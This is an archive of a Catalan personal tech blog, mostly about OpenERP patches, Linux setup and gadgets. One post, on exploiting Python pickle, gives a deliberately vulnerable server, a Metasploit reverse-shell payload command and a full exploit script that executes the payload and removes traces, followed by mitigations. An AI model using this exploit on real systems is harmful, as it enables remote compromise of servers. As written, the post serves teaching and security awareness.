Entre zeros i uns

Sobre #acampadagirona

2011-05-20T15:06:00.002+02:00

Escric aquí tots els enllaços referents a #acampadagirona. Amb això hauríeu d'estar a última hora :)

Blog: http://acampadagirona.wordpress.com/
Twitter: https://twitter.com/acampadagirona
Cerca de twitter amb el hashtag acampadagirona: https://twitter.com/search/#acampadagirona
Pàgina de l'event al Facebook: http://www.facebook.com/event.php?eid=185425141508422
Pàgina del Facebook: http://www.facebook.com/pages/Acampada-Girona/226716460675491
Document Google docs: https://docs.google.com/document/d/160iqjkDnW0gtg7tO1gtM-0voXXIO45-F7LGekN3_XWs/edit?pli=1#
Xat IRC canal #acampadagirona de freenode.net: http://webchat.freenode.net/
Llista de correu: http://groups.google.com/group/acampadagirona

Crec que no em deixo res

Compatibilitat dels reports xml entre OpenERP 5.x i 4.x

2011-04-07T19:00:00.002+02:00

Crec que poca gent utilitza els reports xml+xslt d'OpenERP. Nosaltres sí, i ens hem torbat que alguns reports no funcionaven de forma correcta en la nova versió 5.

Després d'investigar, vàrem descobrir que els camps boleans es tractaven diferent en l'xml de dades que es genera per després passar-lo per xslt i obtenir el report.
En la versió 4.x els boleans eren representats en l'xml de dades com a 0 i 1 per representar False i True respectivament, en canvi, en la versió 5.x són representats com a '' i 'True'.
Per tant si teniem qualsevol llògica feta en xslt buscant valors amb 0 i 1 no funcionaran. Aquest petit pedaç que adjunto soluciona aquest problema.

Patch: print_xml_boolean.patch

Herència en els wizards d'OpenERP 5.X

2011-04-06T19:00:00.012+02:00

A partir de la versió 5.X els wizards d’OpenERP poden ser del tipus osv.osv_memory, això els dota de la majoria de funcionalitats que fins ara només tenien els objectes osv.osv com per exemple workflows, butons, atributs on_chnage i el més important “herencia”.

Com podeu veure herència ho he posat entre cometes, ja que l’herència que permet és només a nivell de vista, no de codi. Quan poses un _inherit a un objecte del tipus osv.osv_memory et dona la següent excepció: 'Inherit not supported in osv_memory object..’ Encara que en la documentació d’OpenERP posa clarament que sí... si mireu el codi font a es veu clarament que no està implementat.

Hi ha diferents “respostes”[1][2] a launchpad, allà expliquen que en la versió 6 sí que està suportat. El que he fet és portar els canvis de la versió 6 a la 5 per tal de tenir herència completa als wizards.

Patch: osv_memory_inheritance.patch

Instal·lació del Zenoss des de subversion

2009-12-26T16:08:00.004+01:00

Farem una instal·lació del sistema de monitorització Zenoss des de codi font amb subversion, així aprofitarem els canvis que facin en la versió de producció sense la latència que hi pugui haver a empaquetar el software de nou. Amb això també tenim una instal·lació mòbil, ja que tot s'instal·la amb el seu entorn i ho tenim tot localitzat.

En aquest document suposem que hem creat un usuari zenoss i que el path on instal·larem el zenoss és a /usr/local/zenoss. Quan es mostren les comandes que s'executen quan surt el prompt # la comanda s'executa amb l'usuari root, quan el promt és $ s'executa amb l'usuari zenoss.

# apt-get install openssh-server subversion gcc g++ mysql-server libmysqlclient15-dev snmp make swig autoconf bzip2 unzip

# mkdir -p /usr/local/zenoss

# chown zenoss /usr/local/zenoss

$ echo "export ZENHOME=/usr/local/zenoss" >> ~/.bahsrc
$ echo "export PYTHONPATH=$ZENHOME/lib/python" >> ~/.bashrc

$ echo "export "PATH=$ZENHOME/bin:$PATH" >> ~/.bashrc

Ens descarreguem el codi font des del subversion:

$ svn co http://dev.zenoss.org/svn/branches/zenoss-2.5.x/inst zenossinst-2.5.x

Això tardarà una mica, s'ha de descarregar tot el codi font i totes les llibreries que utilitza, això instal·la un entorn totalment separat, és a dir un python a un altre path i totes les llibreries que necessita.

$ cd zenossinst-2.5.x
$ SVNTAG=branches/zenoss-2.5.x ./install.sh

Un cop tot compilat i instal·lat ens demanarà que fem setuid al binari zensocket.

# chown root:zenoss /usr/local/zenoss/bin/zensocket
# chmod 04750 /usr/local/zenoss/bin/zensocket

Ja podem accedir a la interfície web a través de http://hostname:8080 (si voleu canviar el port es pot fer a través del fitxer $ZENHOME/etc/zope.conf)

Ara ja podem engegar tots els serveis del zenoss amb:

$ /usr/local/zenoss/bin/zenoss start

Manifiesto "En defensa de los derechos fundamentales en internet"

2009-12-04T07:57:00.000+01:00

Ante la inclusión en el Anteproyecto de Ley de Economía sostenible de
modificaciones legislativas que afectan al libre ejercicio de las
libertades de expresión, información y el derecho de acceso a la
cultura a través de Internet, los periodistas, bloggers, usuarios,
profesionales y creadores de internet manifestamos nuestra firme
oposición al proyecto, y declaramos que...

1.- Los derechos de autor no pueden situarse por encima de los
derechos fundamentales de los ciudadanos, como el derecho a la
privacidad, a la seguridad, a la presunción de inocencia, a la tutela
judicial efectiva y a la libertad de expresión.

2.- La suspensión de derechos fundamentales es y debe seguir siendo
competencia exclusiva del poder judicial. Ni un cierre sin
sentencia. Este anteproyecto, en contra de lo establecido en el
artículo 20.5 de la Constitución, pone en manos de un órgano no
judicial -un organismo dependiente del ministerio de Cultura-, la
potestad de impedir a los ciudadanos españoles el acceso a cualquier
página web.

3.- La nueva legislación creará inseguridad jurídica en todo el
sector tecnológico español, perjudicando uno de los pocos campos
de desarrollo y futuro de nuestra economía, entorpeciendo la creación
de empresas, introduciendo trabas a la libre competencia y
ralentizando su proyección internacional.

4.- La nueva legislación propuesta amenaza a los nuevos creadores y
entorpece la creación cultural. Con Internet y los sucesivos
avances tecnológicos se ha democratizado extraordinariamente la
creación y emisión de contenidos de todo tipo, que ya no provienen
prevalentemente de las industrias culturales tradicionales, sino de
multitud de fuentes diferentes.

5.- Los autores, como todos los trabajadores, tienen derecho
a vivir de su trabajo con nuevas ideas creativas, modelos de negocio y
actividades asociadas a sus creaciones. Intentar sostener con
cambios legislativos a una industria obsoleta que no sabe adaptarse a
este nuevo entorno no es ni justo ni realista. Si su modelo de negocio
se basaba en el control de las copias de las obras y en Internet no es
posible sin vulnerar derechos fundamentales, deberían buscar otro
modelo.

6.- Consideramos que las industrias culturales necesitan para
sobrevivir alternativas modernas, eficaces, creíbles y asequibles y
que se adecuen a los nuevos usos sociales, en lugar de
limitaciones tan desproporcionadas como ineficaces para el fin que
dicen perseguir.

7.- Internet debe funcionar de forma libre y sin interferencias
políticas auspiciadas por sectores que pretenden perpetuar
obsoletos modelos de negocio e imposibilitar que el saber humano siga
siendo libre.

8.- Exigimos que el Gobierno garantice por ley la neutralidad de la
Red en España, ante cualquier presión que pueda producirse, como
marco para el desarrollo de una economía sostenible y realista de cara
al futuro.

9.- Proponemos una verdadera reforma del derecho de propiedad
intelectual orientada a su fin: devolver a la sociedad el
conocimiento, promover el dominio público y limitar los abusos de las
entidades gestoras.

10.- En democracia las leyes y sus modificaciones deben aprobarse
tras el oportuno debate público y habiendo consultado previamente
a todas las partes implicadas. No es de recibo que se realicen cambios
legislativos que afectan a derechos fundamentales en una ley no
orgánica y que versa sobre otra materia

Este texto se publica multitud de sitios web. Si estás de acuerdo,
publícalo también en tu blog.

Parsejador pel BOE

2009-12-01T21:35:00.001+01:00

A al feina hem d'estar assabentats de les últimes notícies que es publiquen al B.O.E. (Noves tarifes, informes que s'han d'entregar, etc.) i com que moltes vegades se'ns passava el fet de cada dia obrir la pàgina i mirar si ens afectava.

Per millorar el procés he fet un petit script (poques hores dedicades) per tal que es connecti a la pàgina web del B.O.E i miri si hi ha alguna novetat pel ministeri i secció que l'hi especifiquem ens envia el text i els enllaços als PDFs.

L'script és mot senzill, se li diu en quin ministeri i en quines seccions ha de mirar i ell ja farà una cerca filtrant resultats, fent un resum i amb l'enllaç alPDF.

Una bona pràctica és lligar-ho amb un crontab, i que envii la sortida via mail. Per exemple:

python boe.py -m mityc -s sec1 | /usr/bin/mail -e -a "Content-Type: text/plain;charset=utf-8" -a "Content-Transfer-Encoding: 8bit" -s "RESUM BOE: `date +%d/%m/%Y`" email@example.com

Deixo l'script pujat aquí per si a algú li interessa o li pot servir d'alguna cosa.

Recuperar aplicacions Google amb l'HTC Tattoo d'Orange

2009-11-18T22:47:00.001+01:00

Escric aquesta entrada ja que he descobert que els nous HTC Tattoo d'Orange venen capats d'algunes aplicacions de Google, com per exemple el Talk i el Youtube.

Podeu comprovar-ho anant a la pàgina dels manuals d'HTC Tattoo i veure que hi ha 3 manuals diferents:

Original d'HTC
El de vodafone
El d'Orange (on hi falten els capítols del Talk i el Youtube)

Explicaré com fer-ho per tal de tenir aquestes aplicacions funcionant un altre cop.

Descarregar la ROM original d'HTC Tattoo

Per tal de descarregar-nos la ROM original d'HTC per Europa anem a HTCPedia, si us demana un login poseu una mica d'imaginació.

Descomprimir el sistema de fitxers

Un cop tingueu la ROM, primer l'heu de d'extreure del zip en que ve. El fitxer que ens interessa és el system.img aquest és un fitxer que és part del sistema Android i està en el format YAFFS. Per aconseguir-ho utilitzarem el projecte unyaffs (Podem utilitzar el pre-compilat o compilar-lo des del subversion).

$ unzip CLICIMG_Click_HTC_WWE_1.65.405.1_WWE_release_signed.zip

$ svn checkout http://unyaffs.googlecode.com/svn/trunk/ unyaffs
$ cd unyaffs
$ gcc -o unyaffs unyaffs.c

$ unyaffs system.img

Ara tindrem diverses carpetes creades, la que ens interessa és la que es diu app, aquí és on hi trobarem els paquets que ens interessen Talk.apk i YouTube.apk. Els copiem a la SD del mòbil per després instal·lar-los.

Instal·lar els paquets

Abans d'instal·lar els paquets necessitem un gestor de fitxers, recomano l'ASTRO. El podem instal·lar des del Market.
Un cop el tinguem instal·lat, obrim la SD i obrim cada paquet amb l'ASTRO i l'instal·lem :)

Wifi a RENFE 'Media Distancia'

2009-11-13T22:00:00.014+01:00

Doncs sí, resulta que als nous trens de RENFE, els anomenats Mitja distància, hi ha access points amb el ESSID: linksys. De fet la majoria té aquesta ESSID, perquè alguns ja han anat canviant els noms de xarxa per:

El revisor folla
0wn3d
Com collons va això?
etc...

I la veritat és que no és difícil de fer això... amb una mica d'imaginació i nocions molt bàsiques ho pot fer tothom.

La xarxa wifi en sí no serveix per res, de moment no té sortida a Internet, però em pregunto... hi ha molts dispositius que es connecten automàticament sense preguntar quan es troben una xarxa wifi que oberta i que dona direcció IP. Per tant potser ens mantindrà entretinguts estudiant aparells connectats a aquesta xarxa si el viatge és avorrit :D

Seguretat en l'OpenERP 4.2

2009-11-12T22:00:00.001+01:00

Doncs sembla que la versió 4.2 de l'ERP lliure ja no està mantinguda, encara que en el seu repositori de codi posin la branca 4.2 com a mature en realitat hi hauria de posar abandoned. Les raons per pensar això són simples:

No es fa cap mena de backport de seguretat.
No es fa cas de cap bug enviat per la branca 4.2.

Tot comença quan fa un temps vaig descobrir que el protocol pickle de python era poc segur, després vaig veure que efectivament en la versió 5 estava arreglat, però no estava arreglat a la 4.2 (aquí és quan el meu cap pensa WTF?) quan el patch que s'ha d'aplicar és molt senzill i a més quan ja està arreglat a la versió 5. Vaig decidir obrir un bug #452379 adjuntant el patch i un exploit. El bug el vaig fer en privat (com es sol fer amb tots els bugs de seguretat) però al cap d'un mes cansat de la passivitat de l'equip de qualitat de l'OpenERP vaig decidir fer-lo públic.

També vaig enviar un altre bug #452373, aquest potser fins i tot més greu, permet executar qualsevol mètode del servidor sense usuari ni contrassenya (això és molt fort). També vaig adjuntar un patch i un possible exploit que llistava tots els usuaris i contrassanyes de l'ERP.

Aprofito per dir que per Internet corren bastants servidors vulnerables corrent amb 4.2. La segona vulnerabilitat de la que parlo també afecta a la versió 5 en primeres versions.

Si teniu servidors en 4.2 en producció apliqueu aquests dos pedaços per seguretat:

Descomprimir gzip en memòria

2009-11-05T21:00:00.003+01:00

Avui estava arreglant part d'un codi on es descarregava un fitxer gzip de la web i l'havia d'insertar el contingut a una taula d'una base de dades.

Anteriorment el codi feia:

Baixar-se l'stream en gzip.
Guardar-lo a un fitxer .gz al sistema de fitxers.
Obrir el fitxer .gz guardat per descomprimir-lo.
Guardar el fitxer descomprimint al sistema de fitxers.
Obrir el fitxer descomprimit per llegir-lo
Guardar-lo a la base de dades

De la llista anterior es pot deduir que hi ha massa descriptors de fitxers, i que l'accés al sistema de fitxers pot ser costosa. Per tant la idea era millorar aquest codi i fer que tant com es pogués es fes en memòria.

Buscant a la documentació del mòdul gzip de python només trobava que el paràmetre que se li podia passar era la ruta d'un fitxer i aquest després l'obria i duia a terme totes les operacions. Finalment buscant pel sant google, he trobat una resposta a la magnífica pàgina de stackoverflow.

Actualment el codi fa:

Baixar-se l'stream en gzip.
Descomprimir l'stream gzip en memòria i posant-lo a un altre stream
Obrir l'stream descomprimit.
Guardar-lo a la base de dades

Exemple del codi en python

[...]

r = conn.getresponse()

c = StringIO.StringIO(r.read())

m = StringIO.StringIO(gzip.GzipFile(fileobj=c).read())

c.close()

# Importem el fitxer

import csv

reader = csv.reader(m, delimiter=';')

[...]

m.close()

Log ascii art

2009-11-04T23:01:00.002+01:00

Mentres estava provant unes coses amb l'OpenERP, he fet un petit script per deixar encuriosits als administradors d'aquests quan mirin el log :P

Una altre cosa que he descobert, és si busqueu 'ascii art' al google... mireu com surt el logo de google ;-) són uns freaks.

Problemes al compilar v4l-dvb i firedtv

2009-11-03T22:00:00.000+01:00

El dijous vaig actualitzar a Ubuntu 9.10, ja sé que amb el kernel que porta la majoria de drivers de dvb ja hi són... però mira, des de que els vaig compilar un dia, ara sempre tiro amb l'última versió del seu repositori.
Avui no hi havia manera d'acabar-los de compilar, em donava el següent error: implicit declaration of function 'hpsb_unregister_protocol'.

Resulta que hi ha un error amb el Firedtv. Sol·lucionar-lo és fàcil. Ens posem a l'arrel del v4l-dvb i executem:

# make menuconfig

Abans hem de tenir instal·lades les libncurses5-dev.

Busquem el mòdul de Firedtv i el desactivem. Guardem la configuració i ja podem compilar de nou.

Recordar que per actualitzar, tenen fet un make update que ja actualtizar des del seu repositori :)

Explotant pickle de Python

2009-11-02T22:57:00.003+01:00

Fa un temps em vaig trobar amb un article molt interessant, que explicava com d'insegur era utilitzar el protocol pickle de python. En la mateixa documentació del mòdul pickle de python, ja t'avisa que no facis servir pickle de forma lleugera sense confiar plenament amb la font de dades.
Doncs, què passa si ens trobem amb un servidor que utilitza pickle sense assegurar? podeu comprovar que no és tant difícil trobar-ne... podeu fer una cerca al codesearch de google i comprovar-ho vosaltres mateixos.
El que explicaré és com aprofitar-nos de la des-assistència dels programadors que fan servir pickle sense pensar gaire. Finalment també explicaré diferents maneres de com fer-lo mes segur.

Primer de tot necessitem un servidor vulnerable... no penseu malament, no en farem servir cap de veritat :) sino un que he programat jo especial ment.

import socket
import cPickle

class BugServer():

    def run(self):
        HOST = '127.0.0.1'
        PORT = 8070

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((HOST, PORT))
        s.listen(1)

        while True:
            conn, addr = s.accept()
            buf = ''
            read = conn.recv(4096)
            buf += read
            while read:
               read = conn.recv(4096)
               buf += read
            print len(buf)
            cPickle.loads(buf)
            conn.close()

try:
   if __name__ == "__main__":
        bs = BugServer().run()
except KeyboardInterrupt:
   print 'Shutting Down...'

Ara només fent el que diu la Nadiana, ja tenim gairebé una shell remota on les possibilitats són gairebé il·limitades... però jo us explicaré com integrar-ho amb el metasploit (no em posaré a explicar què és el metasploit, ja que es mereix mínim un post sencer, però per qui no ho tingui gaire clar, el metasploit és un framework de seguretat que inclou gran quantitat d'exploits i eines per generar-los)

El que faré seguidament serà generar un binari per pujar-lo al servidor remot i que executi un shell_reverse_tcp (això vol dir que serà ell qui es connectarà a nosaltres i obtindrem una shell a aquella màquina).

Tenim un problema, no podem enviar directament el binari per la connexió, ja que sembla que al pickle no li agraden els salts de línia extres, per tant el que farem serà el següent:

Generar el binari
Passar-lo a base64
Haurem de pujar també un script que de base64 ho torni a binari
L'script no podrà tenir salts de línia...
...

Sembla que se'ns va complicant, però sense complicació no hi ha diversió :D

Generació del binari amb el metasploit

./msfpayload linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 X | ./bin2base64.py > /tmp/reverse_b64

No explicaré el funcionament del msfpayload, però a grans trets el que faig és crear un binari amb el payload del reverse_tcp diguent que s'ha de connectar a la IP 127.0.0.1 i al port 4444. Després ho passo per un pipe a un script que tinc fet que em converteix l'entrada en base64 i ho redirecciono a /tmp/reverse_b64

L'script per transformar a base64 és aquest:

#!/usr/bin/python

import base64

import sys

b64 = base64.b64encode(sys.stdin.read())

sys.stdout.write(b64)

sys.stdout.flush()

Exploit final

M'he basant en que el servidor estaria treballant en sabor Unix, si el voleu per W32 ho haureu de fer vosaltres mateixo ;-)

#!/usr/bin/python

# -*- coding: utf-8 -*-

import optparse

import socket

parser = optparse.OptionParser(version="[PICKLE REMOTE SHELL EXPLOIT]")

group = optparse.OptionGroup(parser, "SERVER Related")

group.add_option("--host", dest="host", help="specify the database host") 

group.add_option("--port", dest="port", help="specify the database port") 

parser.add_option_group(group)

options = optparse.Values()

options.host = 'localhost'

options.port = 8070

parser.parse_args(values=options)

t2b = """#!/usr/bin/python@import base64@f = open("/tmp/incode", "r")@b64 = base64.b64decode(f.read())@f.close()@f = open("/tmp/.shell", "wb")@f.write(b64)@f.close()"""

# Metasploit linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 (Base64)

shellcode = """AQUI VA EL PAYLOAD EN BASE64"""

# Before to exploit use metasploit:

# ./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 E

host = options.host

port = options.port

try:

    print "[+] Trying %s:%s..." % (host, port)   

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    sock.connect((host, int(port)))

    msg = """cos\nsystem\n(S'echo \'"""+t2b+"""\' > .t2b.tmp; cat .t2b.tmp | tr \'@\' \'\\n\' > .t2b; rm -f .t2b.tmp; echo \'"""+shellcode+"""\' > /tmp/incode; python .t2b; chmod +x /tmp/.shell; rm -f .t2b; rm -f /tmp/incode; /tmp/.shell; rm -f /tmp/.shell'\ntR."""

    print "[+] Sending payload!"

    sock.send(msg)

    sock.close()

except KeyboardInterrupt:

    print 'Shutting Down...'

Explicació de l'exploit
La variable t2b és l'script que utiltizarem per tornar a transformar de text a binari, com veieu no té salts de línia, i en comtpes té els simbols @, això ja veureu perquè ens serveix.
La variable shellcode és on hem de posar el contingut del fitxer que hem generat abans en base64
La variable msg és qui executa l'exploit en sí, s'enten bastant bé, si no haureu d'investigar una mica.
Com veieu la gràcia és que es té el metasploit escoltant, es rep una connexió i quan nosaltres tanquem, en el servidor remot no queda ni rastre :)

De poder-se fer, es pot fer de mil maneres diferents, però amb aquesta es toca una mica de tot i didacticament és entretinguda :D.

Sol·lució del protocol pickle
En la pàgina de la Nadiana, n'explica vàries. La que jo utilitzo si només necessito el pickle per dades bàsiques (sense la necessitat de serialitzar objectes) és en comptes d'assignar una funció de check al unpickler.find_global, és assignar-hi None, i així ja no hi tindrem problemes.
L'altre sol·lució que recomano, és utilizar protocols pensats per això com per exemple el Pyro.

Actualització iPhone a 3.0.1

2009-08-03T21:33:00.002+02:00

Doncs sembla que Apple continua igual amb el seu sistema d'errors. Avui intentant actualitzar el firmware a la versió 3.0.1 em dona el següent error:

La veritat no sé perquè diu que se ha desconectado si no he tocat res, de fet l'he posat en Modo avión i he desactivat la sincronització automàtica amb l'iTunes per tal que no faci cap cosa extranya... i el més bó continua vinguent quan intentem saber més sobre aquest error i apretem al botó de Más información ens obre un navegador amb la direcció: http://www.apple.com/es/support/iphone/updaterestore/?error=-10, poso una imatge per si un cas ho arreglessin, però ho dubto molt, ja que en el post anterior si es consulta la pàgina de l'error encara està igual...

Doncs només posar aquest post per demostrar la qualitat del productes d'Apple i el bon funcionament dels programaris privatius (si no ho heu detectat, això estava escrit en mode irònic)

ACTUALITZACIÓ:

Resulta que abans de dur a terme l'actualització del firmaware s'ha de fer una sincronització completa de l'iPhone, sino dona l'error comentat anterirorment... vaja que costa molt posar-ho al missatge d'error això, i és molt més usable redirigir l'usuari a una pàgina 404 :)

Intentant actualitzar l'iPhone a 3.0

2009-06-17T21:32:00.001+02:00

Doncs això és el que estic fent intentant actualitzar ja que es veu que amb lo car que és i lo elitista que el fan ser no n'hi ha prou... ja podeu anar demanant als usuaris que no s'enfadin perquè capeu allò i lo altre encara no funciona.... AIXÒ FA PUDOR!

I si per casualitat voleu saber més informació de l'error i apreteu a "Más información" us dirigirà a http://www.apple.com/es/support/iphone/updaterestore/?error=1639 que en aquests moments és això:

Separació de codi entre Z-Push i OpenObject

2009-04-27T23:00:00.008+02:00

La meva primera idea en fer el backend de Z-Push per l'OpenERP, era programar aquest backend per tal que fes totes les crides al servidor ERP.
Però vaig pensar que seria molt més útil fer que el backend cridés unes funcions a un mòdul 'activesync' fet per l'OpenERP i que fos aquest qui tingués tota la lògica a dins.

Això ens comporta una sèrie d'avantatges:

Manteniment més simple:
Aprofitament del sistema d'herencia:
L'OpenObject és conegut per la potència del seu sistema modular. Per tant alterar el funcionament del mòdul d'activesync serà molt fàcil. Tal i com ho fem amb la resta de mòduls de l'OpenObject.

Diagrama de comunicacions entre plataformes

Tant aviat com em sigui possible em posaré a desenvolupar aquesta funcionalitat estigueu atents a les notícies :)

Activesync amb l'OpenERP

2009-04-25T10:44:00.000+02:00

Finalment avui he publicat una primera versió funcional del backend ActiveSync per l'OpenERP. Per qui no ho sàpiga, l'ActiveSync és un protocol de sincronització (contactes, correu, calendaris i tasquea) desenvolupat per Microsoft. Segurament us preguntareu per què he triat aquest protocol...
La resposta té dues parts: una és degut a que és el protocol que s'utilitza en gran part dels smartphones (iPhone, Palms, Windows Mobile, etc...), l'altre és perquè tinc un iPhone i m'interessa tenir-ho sincronitzat amb l'ERP.
Per desenvolupart aquest backend utilitzo Z-Push, una plataforma lliure que implementa el protocol ActiveSync.

En aquesta primera versió només es sincronitzen els contactes (res.partner.address). Permet crear, modificar i eliminar contactes directament de l'ERP.

En la següent versió treballaré en la sincronització del correu, en aquest cas faré com si les "Requests" (res.request) que ens fem entre els usuaris de l'ERP i les tractaré com si es tractessin de correu.

Properament podreu trobar documentació de com realitzar la instal·lació i configuració de l'ActiveSync per OpenERP a la pàgina del projecte. De moment si voleu anar seguint el desenvolupament d'aquest backend podeu utilitzar la plataforma Launchpad per informar de bugs, fer preguntes, llista de correu, aportar idees i veure el codi.

Error en la precisió d'un float en l'OpenObject Server

2009-04-01T21:30:00.004+02:00

Feia dies que no feia cap post dels pedaços que vaig enviant al projecte de l'OpenObject Server, avui després de debatre, de moment sense la resposta final per part de l'equip de Qualitat) (Bug: #352471)

Es tracta d'un error en l'entrada de floats de més de 6 decimals. El sistema només entra la precisió de 6. Això és degut que al fer la substitució del float pel comodí %f, per defecte agafa precisicó de 6 (Mirar Nota 3 de la secció 'string formatting operations'). Se li pot canviar la precisió fent %.12f (si volem precisió 12 per exemple)

El pedaç que he enviat és molt senzill, ja que al definir una columna com a float, pots definir-li amb quina precisió vols treballar fent per exemple:

fields.float('Camp', digits=(13,12))

Això ens crearà un camp que el valor del camp tindrà 13 posicions i 12 seran decimals.

L'OpenObject server quan introdueix les dades a la base de dades fa servir el caràcter %f per fer la inserció i per això mateix és perd la precisió i només queden reflectits els 6 primers decimals.

La solució és simple, en comptes d'agafar sempre el caràcter %f pels floats, s'ha de mirar si t'he definit l'atribut digits, i en el cas que el tigui fer que el caràcter sigui %.digits[1]f

Podeu veure el pedaç aquí: float_precision.patch

Actualització:
L'equip de Qualitat de l'OpenERP ha decidit que el pedaç no era necessari, crec que tenen raó en part, ja que en la versió 5.0 s'utilitza psycopg2 i no és necessari el formateix de les variables en les sentències SQL, però en la versió 4.2.x és necessari diguin el que diguin, ja que jo la tinc en producció en diferents llocs i el bug existeix. O sigui que si us trobeu amb aquest problema el podreu solventar amb aquest pedaç.

Jornades OpenERP

2009-03-31T09:27:00.000+02:00

Els dies 17 i 18 d'Abril del 2009 es duran a terme les II Jornades de l'OpenERP a Vilanova i la Geltrú. Més informació a http://jornadas.openerpspain.com

Si hi esteu interessats ús podeu inscriure des de la mateixa pàgina.

Fer funcionar el TDT

2009-01-11T12:19:00.004+01:00

Tinc una capturadora de TV, fins el dia d'avui només em funcionava el mètode analògic i me la detectava com una "Terratec Cinergy 250 PCI TV".

El truco està en baixar-se els últims drivers de v4l-dvb i compilar-ho. Per això haurem de fer:

$ sudo apt-get install mercurial linux-headers-`uname -r`

Després ens descarreguem les fonts de v4l-dvb a partir de mercurial, per exemple a /usr/local/src:


$ cd /usr/local/src
$ sudo hg clone http://linuxtv.org/hg/v4l-dvb
$ cd v4l-dvb
$ make
$ make install

Reiniciem l'ordinador i per mirar si ens ha detectat bé fem:

$ dmesg | grep DVB | less

En el meu cas retorna:


[   21.172183] DVB: registering new adapter (saa7133[0])
[   21.172189] DVB: registering adapter 0 frontend 0 (Philips TDA10046H DVB-T)...... (més coses)

Doncs ara ja tenim funcionant la TDT al nostre GNU/Linux, ara falta sintonitzar canals. Per això jo he utilitzat el w_scan. Seguiu les instruccions d'instal·lació que hi ha a la pàgina.

Generar fitxer de canals pel Totem

$ sudo ./w_scan -X > /home/usuari/.gstreamer-0-10/dvb-channels.conf

Generar fitxer de canals pel Kaffeine

$ sudo ./w_scan -k > /home/usuari/.kde/share/apps/kaffeine/channels.dvb

L'atribut _classic_write

2008-10-11T20:16:00.006+02:00

Avui explicaré en què consisteix l'atribut _classic_write dels models de l'OpenERP. Aquesta característica no està comentada a la documentació de desenvolupadors però sí que ho està d'una manera escueta al mateix codi python.

La funció _classic_write=False ens permet modificar la manera en que editem els camps dels tipus many2one, one2many i many2many.


(0, 0,  { fields })    create
(1, ID, { fields })    modification
(2, ID)                remove
(3, ID)                unlink
(4, ID)                link
(5, ID)                unlink all
(6, ?, ids)            set a list of links

per defecte només el many2many funciona aquesta característica. Per tal que funcioni amb els many2one i els one2many que definim als nostres models haurem d'afegir el paràmetre _classic_write=False al moment de definir el camp. Per exemple

'exemple': fields.many2one('object', 'String', _classic_write=False),

Amb això ja tindrem el camp exemple funcionant amb el _classic_write=False.

Per cert, ara per ara en la versió actual no funciona passar el paràmetre _classic_write=False per un Bug. He enviat el pedaç però de moment no hi ha cap resposta.... M'agrada molt el projecte però no veig gaire clar el cicle de desenvolupament que duen...

Al pròxim post faré un mini tuturial explicant com treballar amb aquests tipus de camps.

Per fí!

2008-09-26T22:30:00.000+02:00

Ha costat lo seu... però al final el tinc :)

Qui m'ho hauria de dir...

2008-09-06T15:00:00.004+02:00

Doncs com que amb la compra del sobretaula (ja casi dos anys...) em venia un windows, pagat i amb el seu codi de tant en tant l'actualtizo i el matenc al dia. Tot i que no hi sé treballar gaire jejej, m'hi he hagut d'instal·lar el Cygwin per poder fer servir una shell com cal.

Però bé... el post aquest és només per dir que he actualitzat a SP3.

JPod, la feina que voldríem tenir tots?

2008-08-20T17:28:00.006+02:00

Fa uns dies he començat a mirar una sèrie nova, JPod. Es tracta d'una sèrie on els personatges treballen a una empresa del sector dels videojocs, i tots els components de l'equip JPod tenen una J al seu nom.
El JPod és un laboratori d'experiments, on mentres desenvolupen un videojoc van treballant amb altres coses. Si en mireu algun capítol no em direu que no us agradaria treballar a un lloc així. Sense horaris, fent fricades vàries...

A l'hispashare, ús els podeu descarregar en castellà i a la pàgina de la CBC els podeu veure tots, però en anglès.

Media player amb linux pre-instal·lat!

2008-08-07T01:43:00.003+02:00

Doncs fa poc em vaig comprar un reproductor multimèdia (EMTEC MovieCube Q-100), d'aquests que endolles a la tele i pots veure tots els vídeos que t'has baixat ilegalment d'Internet :P.

Quan el vaig connectar al meu pc per tal de fer la primera transferència de fitxers, ja vaig veure que em montava moltes unitats... i quan vaig alucinar més va ser quan em va montar una unitat on hi havia l'estructura de directoris típis d'una distribució linux! Resulta que el bitxo aquest funciona amb GNU/Linux :D (aquí el meu cervell ja va començar a pensar en tot el que es podria fer amb l'aparatet :P)

Avui tot navegant i buscant una mica d'informació més he trobat un wiki que ensenya com tunejar els bitxos aquests :) En la primera pàgina diu que són vàlids els Emtec moviecubes tant de la sèria R com Q, però després a la pàgina de dispositius comptatibles, només parla de la sèria R... S'haurà de provar per saber si el meu model també és compatible.

He trobat una pàgina al wiki que diu que hi ha instal·lada una debian :|, fer un chroot del bitxo i fer un apt-get update (molt finet!)

Seguiré informant sobre els avanços que vagi fent!